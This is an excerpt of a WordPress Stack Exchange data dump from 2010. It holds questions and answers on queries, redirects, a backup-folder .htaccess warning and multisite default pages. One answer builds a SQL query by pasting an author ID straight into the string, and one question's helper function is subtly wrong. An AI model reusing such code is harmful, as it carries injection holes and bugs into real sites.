  <row Id="1022" PostTypeId="2" ParentId="1014" CreationDate="2010-08-30T00:11:15.163" Score="0" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Josh&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Your query works fine.&lt;/strong&gt; It's probably that your &lt;code&gt;$events_metabox&lt;/code&gt; variable is not in scope and causing your code to just fail (strangely it still runs the footer, dunno why.) To fix it first try setting it to global at the top of your template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $events_metabox&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work you'll have to track down the problem some other way since I don't know what your code is doing with &lt;code&gt;$events_metabox&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Debug Using Incremental Removal and &lt;code&gt;print_r()&lt;/code&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;When you run into a problem like this start taking away pieces until you fix the problem.  If you are trying to see if your query is working or not, use a &lt;code&gt;print_r()&lt;/code&gt; to dump the values wrapped in &lt;code&gt;&amp;lt;pre&amp;gt;&lt;/code&gt; tags so you can see what's happening, i.e.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$pageposts = $wpdb-&amp;gt;get_results($querystr, OBJECT);&#xA;echo '&amp;lt;pre&amp;gt;';&#xA;print_r($pageposts);&#xA;echo '&amp;lt;pre&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Also, Use &lt;code&gt;get_posts()&lt;/code&gt; instead of Direct SQL&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;That said, I'd &lt;strong&gt;&lt;em&gt;highly&lt;/em&gt;&lt;/strong&gt; recommend you replace your query with a &lt;code&gt;get_posts()&lt;/code&gt; call. It's a best practice in WordPress to &lt;strong&gt;always use the WordPress API and it's query functions&lt;/strong&gt; and &lt;strong&gt;never use direct SQL&lt;/strong&gt; unless there's absolutely no way around it. You get many benefits including built-in caching in some cases, they handle things like ensuring only published posts are displayed unless you tell it otherwise, and it's less likely to break if they change the database structure in the future. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the &lt;code&gt;get_posts()&lt;/code&gt; call you'd need to replace your hardcoded SQL query (with &lt;em&gt;some caveats&lt;/em&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$pageposts = get_posts('meta_key=_events_meta[event_date]&amp;amp;orderby=meta_value&amp;amp;order=ASC');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or this equivalent does the exact same thing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$pageposts = get_posts(array(&#xA;  'meta_key' =&amp;gt; '_events_meta[event_date]',&#xA;  'orderby'  =&amp;gt; 'meta_value',&#xA;  'order'    =&amp;gt; 'ASC',&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;caveats&lt;/em&gt; I mentioned are that your query didn't filter out non-published, drafts etc.; my guess is what &lt;code&gt;get_posts()&lt;/code&gt; does it actually more what you'd want anyway.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The Codex Docs for &lt;code&gt;get_posts()&lt;/code&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The documentation for &lt;code&gt;get_posts()&lt;/code&gt; is here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;&lt;code&gt;get_posts()&lt;/code&gt; on Codex&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But interestingly &lt;strong&gt;the better documentation for &lt;code&gt;get_posts()&lt;/code&gt; arguments is on the &lt;code&gt;query_posts()&lt;/code&gt; page&lt;/strong&gt; which you could also probably use for your needs. I prefer the greater control of &lt;code&gt;get_posts()&lt;/code&gt; but &lt;a href=&quot;http://www.urbandictionary.com/define.php?term=YMMV&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;YMMV&lt;/em&gt;&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, &lt;code&gt;query_posts()&lt;/code&gt; actually just calls &lt;code&gt;get_posts()&lt;/code&gt; so the arguments really are identical:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;&lt;code&gt;query_posts()&lt;/code&gt; on Codex&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-30T00:11:15.163" CommentCount="4" />
  <row Id="1023" PostTypeId="2" ParentId="1011" CreationDate="2010-08-30T01:11:23.850" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@CJN:&lt;/strong&gt;,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your first question, moving the WordPress directory is handled differently from the rest. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Moving WordPress from Subdirectory to Root:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Go into &lt;code&gt;/wp-config.php&lt;/code&gt; and add the following to defines (using your client's domain instead of &lt;code&gt;example.com&lt;/code&gt; of course):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_SITEURL', 'http://example.com');&#xA;define('WP_HOME',    WP_SITEURL);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;301 Redirects using &lt;code&gt;template_loader&lt;/code&gt; and &lt;code&gt;wp_safe_redirect()&lt;/code&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can solve most of the rest of your questions by modifying &lt;code&gt;.htaccess&lt;/code&gt; as &lt;em&gt;@Kau-Boy&lt;/em&gt; shows how, or &lt;strong&gt;you can just do it in PHP&lt;/strong&gt;. WordPress has a &lt;code&gt;template_redirect&lt;/code&gt; hook you can use for this along with the &lt;code&gt;wp_safe_redirect()&lt;/code&gt; function to redirect with a &lt;code&gt;301&lt;/code&gt; HTTP status code. As you can see the rest is just brute for PHP code and a bit of regular expression magic sprinkled in. You can put this code practically anywhere in your theme's &lt;code&gt;functions.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('template_redirect','my_template_redirect');&#xA;function my_template_redirect() {&#xA;  $redirect_to = false;&#xA;  list($url_path,$params) = explode('?',$_SERVER['REQUEST_URI']);&#xA;  $path_parts = explode('/',trim($url_path,'/'));&#xA;  switch ($path_parts[0]) {&#xA;    case 'products-directory':&#xA;      $redirect_to = '/products-top-level-page';&#xA;      break;&#xA;    case 'about-directory':&#xA;      $redirect_to = '/about-top-level-page';&#xA;      break;&#xA;    case 'services-directory':&#xA;      $redirect_to = '/services-top-level-page';&#xA;      break;&#xA;    default:&#xA;      if (preg_match('#same-word(.*)#',$path_parts[0],$match)) {&#xA;        $category = str_replace('.html','',$match[1]);&#xA;        $redirect_to = &quot;/newcategory/{$category}&quot;;&#xA;      } else {&#xA;        // Do whatever else you need here&#xA;      }&#xA;  }&#xA;  if ($redirect_to) {&#xA;    wp_safe_redirect($redirect_to,301);&#xA;    exit();&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Consider Usability and Not Just SEO?&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I would ask if you really want to do #2? IMO that makes a site a lot less usable for users than one that is optimized solely for perceived SEO (and as founder and one time co-organizer of &lt;a href=&quot;http://www.meetup.com/atlantaseo/&quot; rel=&quot;nofollow&quot;&gt;this group&lt;/a&gt; I'm not an SEO neophyte.) I'd much rather see you just drop the &lt;em&gt;&lt;code&gt;&quot;-directory&quot;&lt;/code&gt;&lt;/em&gt; from the first segment of the URL path. JMTCW anyway.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Generating 404 Pages?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you need to issue a 404 you can do it with header:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;header(&quot;HTTP/1.0 404 Not Found&quot;);&#xA;exit;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However I think that's not what you want to do, correct?  I think you can achieve whatever redirect logic you need by modifying the PHP function above and responding to the HTTP request with a &lt;code&gt;301&lt;/code&gt;, right?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Importing Images into Media Library and 301 Redirecting&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You could move them into the media library and doing so would allow you to manage them moving forward. Here's a plugin that might help (although I'm not sure if it is working with 3.0; if not it might be a good code base to work with anyway):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/import-legacy-media/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Import Legacy Media Plugin for WordPress&lt;/strong&gt;&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Hardcoding Image URL 301 Redirects using an Array&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Then since it would be &lt;strong&gt;a one-time thing&lt;/strong&gt; you could simply &lt;strong&gt;hardcode your image URLs into an array&lt;/strong&gt; and use them to match in your redirection function. Modifying the default in the switch statement from the code above it might look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;default:&#xA;  if (preg_match('#same-word(.*)#',$path_parts[0],$match)) {&#xA;    $category = str_replace('.html','',$match[1]);&#xA;    $redirect_to = &quot;/newcategory/{$category}&quot;;&#xA;  } else {&#xA;    $images = array(&#xA;      '/images/image1.jpg' =&amp;gt; '/wp-content/uploads/2010/08/image1.jpg',&#xA;      '/images/image2.jpg' =&amp;gt; '/wp-content/uploads/2010/08/image2.jpg',&#xA;      '/images/image3.jpg' =&amp;gt; '/wp-content/uploads/2010/08/image3.jpg',&#xA;      );&#xA;    if (in_array($url_path,$images)) {&#xA;      $redirect_to = $images[$url_path];&#xA;    } else  {&#xA;      // Do whatever else you need here&#xA;    }&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Using &lt;code&gt;preg_match()&lt;/code&gt; to 301 Redirect Images by URL Pattern&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Of course if your image URLs follow a pattern you could streamline much or all of the images array using a &lt;code&gt;preg_match()&lt;/code&gt; instead, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (preg_match('#^/images/(.*)$#',$url_path,$match)) {&#xA;  $redirect_to = &quot;/wp-content/uploads/2010/08/{$match[1]}&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps?&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-30T04:53:18.370" LastActivityDate="2010-08-30T04:53:18.370" CommentCount="4" />
  <row Id="1024" PostTypeId="2" ParentId="1021" CreationDate="2010-08-30T01:34:32.343" Score="2" ViewCount="" Body="&lt;p&gt;I use a plug-in called &lt;a href=&quot;http://wordpress.org/extend/plugins/post-word-count/&quot; rel=&quot;nofollow&quot;&gt;Post Word Count&lt;/a&gt; to sum the total number of published words across my entire site ... then again, I'm the only author, so this is a pretty simple example.  But you could start with this plug-in and add a filter that changes the query based on the author's ID.  Basically:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function post_word_count_by_author($author = false) {&#xA;    global $wpdb;&#xA;$now = gmdate(&quot;Y-m-d H:i:s&quot;,time());&#xA;&#xA;    if ($author) $query = &quot;SELECT post_content FROM $wpdb-&amp;gt;posts WHERE post_author = '$author' AND post_status= 'publish' AND post_date &amp;lt; '$now'&quot;;&#xA;        else $query = &quot;SELECT post_content FROM $wpdb-&amp;gt;posts WHERE post_status = 'publish' AND post_date &amp;lt; '$now'&quot;;&#xA;&#xA;$words = $wpdb-&amp;gt;get_results($query);&#xA;if ($words) {&#xA;    foreach ($words as $word) {&#xA;        $post = strip_tags($word-&amp;gt;post_content);&#xA;        $post = explode(' ', $post);&#xA;        $count = count($post);&#xA;        $totalcount = $count + $oldcount;&#xA;        $oldcount = $totalcount;&#xA;    }&#xA;} else {&#xA;    $totalcount=0;&#xA;}&#xA;return number_format($totalcount);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This function will return a total count of all published words by that author (based on the author ID).  If you don't specify an author ID, it will return a count of all published words.  This won't count post revisions, drafts, or schedule posts, just those currently visible to users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Disclaimer, I haven't tested this yet, but it's based on the original Post Word Count plug-in and should work just fine.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-30T01:34:32.343" CommentCount="1" />
  <row Id="1025" PostTypeId="2" ParentId="715" CreationDate="2010-08-30T03:41:47.517" Score="6" ViewCount="" Body="&lt;p&gt;Your plugin description should accurately detail the functions of your plugin. There are 10 featured post plugins. All of them display featured posts, yet many have different features. It should be easy to compare your plugin to similar plugins by reading the description.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should avoid bragging about how simple your plugin is unless it really is very basic. You should include useful links in the description like the link to the settings.&lt;/p&gt;&#xA;" LastActivityDate="2010-08-30T03:41:47.517" CommunityOwnedDate="2010-08-30T03:41:47.517" />
  <row Id="1026" PostTypeId="2" ParentId="1014" CreationDate="2010-08-30T04:06:39.820" Score="0" ViewCount="" Body="&lt;p&gt;Josh, take a look at: &lt;a href=&quot;http://farinspace.com/wpalchemy-metabox-data-storage-modes/&quot; rel=&quot;nofollow&quot;&gt;http://farinspace.com/wpalchemy-metabox-data-storage-modes/&lt;/a&gt; ... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am thinking I will be changing how WPAlchemy stores values by default ... making EXTRACT mode default ...&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2010-08-30T04:06:39.820" CommentCount="1" />
  <row Id="1027" PostTypeId="1" CreationDate="2010-08-30T04:19:38.250" Score="1" ViewCount="1059" Body="&lt;p&gt;I upgraded a client's WordPress from 2.8 to 3.0.1 and after upgrading I am now receiving this message in the dashboard:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Your backup folder MIGHT be visible to&#xA;  the public&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;To correct this issue, move the&#xA;  .htaccess file from&#xA;  wp-content/plugins/wp-dbmanager to&#xA;  /home/usearname/public_html/wp-content/backup-db&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My client's WordPress in installed in the &lt;code&gt;/wordpress/&lt;/code&gt; sub-directory, i.e.:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;http://domain-name.com/wordpress/&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This was provided by the plugin to resolve the problem (the filename is &lt;code&gt;wp-content/plugins/wp-dbmanager/htaccess.txt&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Files ~ &quot;.*\..*&quot;&amp;gt;&#xA;order allow,deny&#xA;deny from all&#xA;&amp;lt;/Files&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I downloaded this file on my PC then re-uploaded to the server at: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;/home/usearname/public_html/wp-content/backup-db/&lt;/code&gt; &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;but warning message is still showing in the dashbord. How do I solve this problem?&lt;/p&gt;&#xA;" OwnerUserId="32" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-06-23T14:54:35.450" LastActivityDate="2011-08-09T20:58:01.303" Title="Removing the &quot;Your backup folder MIGHT be visible to the public&quot; Message Generated by the WP-DBManager Plugin" Tags="&lt;plugins&gt;&lt;updates&gt;" AnswerCount="5" FavoriteCount="1" />
  <row Id="1028" PostTypeId="2" ParentId="1027" CreationDate="2010-08-30T05:15:12.090" Score="4" ViewCount="" Body="&lt;p&gt;gear-solid&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Looking in the Source Code...&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Here's the function from &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-dbmanager/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WP-DBManager Plugin&lt;/strong&gt;&lt;/a&gt; that generates that error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function dbmanager_admin_notices() {&#xA;  $backup_options = get_option('dbmanager_options');&#xA;  if(!@file_exists($backup_options['path'].'/.htaccess')) {&#xA;    echo '&amp;lt;div class=&quot;error&quot; style=&quot;text-align: center;&quot;&amp;gt;&amp;lt;p style=&quot;color: red; font-size: 14px; font-weight: bold;&quot;&amp;gt;'.__('Your backup folder MIGHT be visible to the public', 'wp-postratings').'&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;'.sprintf(__('To correct this issue, move the &amp;lt;strong&amp;gt;.htaccess&amp;lt;/strong&amp;gt; file from &amp;lt;strong&amp;gt;wp-content/plugins/wp-dbmanager&amp;lt;/strong&amp;gt; to &amp;lt;strong&amp;gt;%s&amp;lt;/strong&amp;gt;', 'wp-postratings'), $backup_options['path']).'&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Check the Source of the Error (pun intended...)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The key test is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;file_exists($backup_options['path'].'/.htaccess')&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2&gt;So your Problem is...?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Reading the test above tells me &lt;strong&gt;your problem is either&lt;/strong&gt; one of these two:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;You uploaded &lt;code&gt;.htaccess.txt&lt;/code&gt; without removing the &lt;code&gt;.txt&lt;/code&gt; extension&lt;/strong&gt; , or&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;strong&gt;plugin is configured to back up into a different directory&lt;/strong&gt; and thus you uploaded the file to the wrong place.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;Finding the Backup Directory&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If the latter, you can find the backup directory (after substituting your domain for &lt;code&gt;example.com&lt;/code&gt;) here:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;http://example.com/wp-admin/admin.php?page=wp-dbmanager/wp-dbmanager.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here's a screenshot the admin console page where you can find that option:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100830-010505.png&quot; alt=&quot;Database Options Page for WP-DBManager Plugin for WordPress&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course another option would be to disable the plugin and use something else to back up the site, assuming that's an option.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;My Guess on What's Wrong?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If I had to bet I'd lay money on the likelihood you didn't realize you needed to remove the &lt;code&gt;.txt&lt;/code&gt; extension because the plugin just assumes users would know to remove the extension and thus doesn't explicitly state to do so. If the user is already familiar with &lt;code&gt;.htaccess&lt;/code&gt; file then it's a no-brainer; for everyone else it's greek!&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-30T06:13:11.123" LastActivityDate="2010-08-30T06:13:11.123" CommentCount="8" />
  <row Id="1029" PostTypeId="2" ParentId="1027" CreationDate="2010-08-30T06:25:59.877" Score="2" ViewCount="" Body="&lt;p&gt;My bet ?&#xA;You said your client's wordpress is installed on &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://domain-name.com/wordpress/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but you've uploaded the .htaccess to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/home/usearname/public_html/wp-content/backup-db/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think the right path is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/home/usearname/public_html/wordpress/wp-content/backup-db/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="395" LastActivityDate="2010-08-30T06:25:59.877" CommentCount="3" />
  <row Id="1030" PostTypeId="1" AcceptedAnswerId="1031" CreationDate="2010-08-30T10:52:08.103" Score="3" ViewCount="479" Body="&lt;p&gt;The pages like &quot;about &quot; will be created automatically when a new blog created.Like wise I need some other pages which should be appeared automatically when a blog created under my multisites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone help me to configure the dafault pages to be created with a new blog under a multisite ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Ex :If I have a multisite on msite.com. Every blog created under this site should have &#xA;Home,About ,My store ,My address .&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;         Thanks !&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="391" LastEditorUserId="391" LastEditorDisplayName="" LastEditDate="2010-09-09T08:23:03.397" LastActivityDate="2011-01-05T18:31:34.590" Title="Can I set some default pages to be created on every creation of a new blog" Tags="&lt;multisite&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="3" />
  <row Id="1031" PostTypeId="2" ParentId="1030" CreationDate="2010-08-30T11:45:14.413" Score="9" ViewCount="" Body="&lt;p&gt;I recommend creating a function in your functions.php file that ties to the action hook &lt;code&gt;activate_blog&lt;/code&gt;.  Use the WordPress functions &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_pages&quot; rel=&quot;nofollow&quot;&gt;get_pages()&lt;/a&gt; to see if your default pages exist.  If they do not, create them with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_post&quot; rel=&quot;nofollow&quot;&gt;wp_insert_post&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('activate_blog','my_default_pages');&#xA;&#xA;function my_default_pages(){&#xA;    $default_pages = array('About','Home','My Store','My Address');&#xA;    $existing_pages = get_pages();&#xA;&#xA;    foreach($existing_pages as $page){&#xA;        $temp[] = $page-&amp;gt;post_title;&#xA;        }&#xA;&#xA;&#xA;    $pages_to_create = array_diff($default_pages,$temp);&#xA;&#xA;    foreach($pages_to_create as $new_page_title){&#xA;&#xA;            // Create post object&#xA;            $my_post = array();&#xA;            $my_post['post_title'] = $new_page_title;&#xA;            $my_post['post_content'] = 'This is my '.$new_page_title.' page.';&#xA;            $my_post['post_status'] = 'publish';&#xA;            $my_post['post_type'] = 'page';&#xA;&#xA;&#xA;&#xA;            // Insert the post into the database&#xA;            $result = wp_insert_post( $my_post );&#xA;&#xA;        }&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To test this function on your own site, try setting the hook to &lt;code&gt;wp_head&lt;/code&gt;.  It will run on each page load and insert the pages that don't exist, with the content in $my_post['post_content'].  *Does the 'activate_blog' hook run when blogs are created in a multi-site context?  I don't know.*&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Refer to the codex page for wp_insert_post that I linked to for the complete list of default parameters available.&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="58" LastEditorDisplayName="" LastEditDate="2010-08-30T14:08:57.360" LastActivityDate="2010-08-30T14:08:57.360" CommentCount="8" />
  <row Id="1032" PostTypeId="1" CreationDate="2010-08-30T13:46:46.240" Score="0" ViewCount="208" Body="&lt;p&gt;I'd like to capture basic analytics (page views, visitors, time on site, etc.) across all of the sites in our network while also allowing users to install the analytics software of their choice. The network contains sites on a subdomain of a primary domain, as well as custom domains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best analytics tool for this purpose? Ideally, it would be just one analytics tag that could be installed across an arbitrary number of domains and subdomains. I'd prefer not having to register each domain by hand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 9/11:&lt;/strong&gt; I've installed Quantcast for the time being, and I think it will do the trick, but a more full-featured tool would be awesome.&lt;/p&gt;&#xA;" OwnerUserId="135" LastEditorUserId="135" LastEditorDisplayName="" LastEditDate="2010-09-11T16:24:35.863" LastActivityDate="2010-09-11T16:24:35.863" Title="Basic analytics across WordPress Multisite network" Tags="&lt;multisite&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="1033" PostTypeId="1" CreationDate="2010-08-30T14:05:00.973" Score="1" ViewCount="242" Body="&lt;p&gt;I currently have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mysite.com/product-name&#xA;mysite.com/another-product&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;etc where product-name and another-product are posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then have a custom post type called Changelogs, which I have for each product, is it possible to have the url something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mysite.com/product-name/changelog&#xA;mysite.com/another-product/changelog&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If so, how would I go about doing it?&lt;/p&gt;&#xA;" OwnerUserId="110" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-30T19:26:20.320" LastActivityDate="2011-01-09T00:44:37.163" Title="URL Design for Sub-Posts?" Tags="&lt;custom-post-types&gt;&lt;hierarchical&gt;&lt;url-rewriting&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="1" />
  <row Id="1034" PostTypeId="1" AcceptedAnswerId="1081" CreationDate="2010-08-30T14:09:08.703" Score="2" ViewCount="191" Body="&lt;p&gt;We have template tags and some functions that start with get. Sometimes it would be just nice in themes to do like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$title = the_title();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to use the html later on. This is just a simplified example, naturally there is some function like get_the_title(); But that works for that function only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering why there is no such function like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_output() {&#xA;    $args     = func_get_args();&#xA;    $callback = array_shift($args);&#xA;    ob_start();&#xA;    call_user_func_array($callback, $args);&#xA;    return ob_end_clean();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That could convert any function that has output into a returning function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$title = get_output('the_title');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea why about that has never been thought about? Every theme author or hacker can make use of such, right?&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-31T16:17:11.557" Title="Why is there no global function in wordpress to return the output of any function call?" Tags="&lt;themes&gt;&lt;tags&gt;" AnswerCount="4" CommentCount="4" FavoriteCount="0" />
  <row Id="1035" PostTypeId="2" ParentId="1006" CreationDate="2010-08-30T15:19:01.923" Score="1" ViewCount="" Body="&lt;p&gt;Reido, you're most likely facing an incompability between some stuff of your wordpress installation, for example, between theme and a plugin or even between theme, plugin and wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just disable the plugin and check if the problem still exists. If so, disable all plugins, and try again. You need to find which component is incompatible and then just do not use it any longer or fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For getting a plugin fixed you can try to find support for a plugin or you can contact someone who is firm with PHP and wordpress plugin programming. So if you just learn PHP you can try to learn PHP by fixing it on your own, sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get help on hacking plugins in the &lt;a href=&quot;http://wordpress.org/support/&quot; rel=&quot;nofollow&quot;&gt;wordpress support forums&lt;/a&gt; as well.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-30T15:19:01.923" />
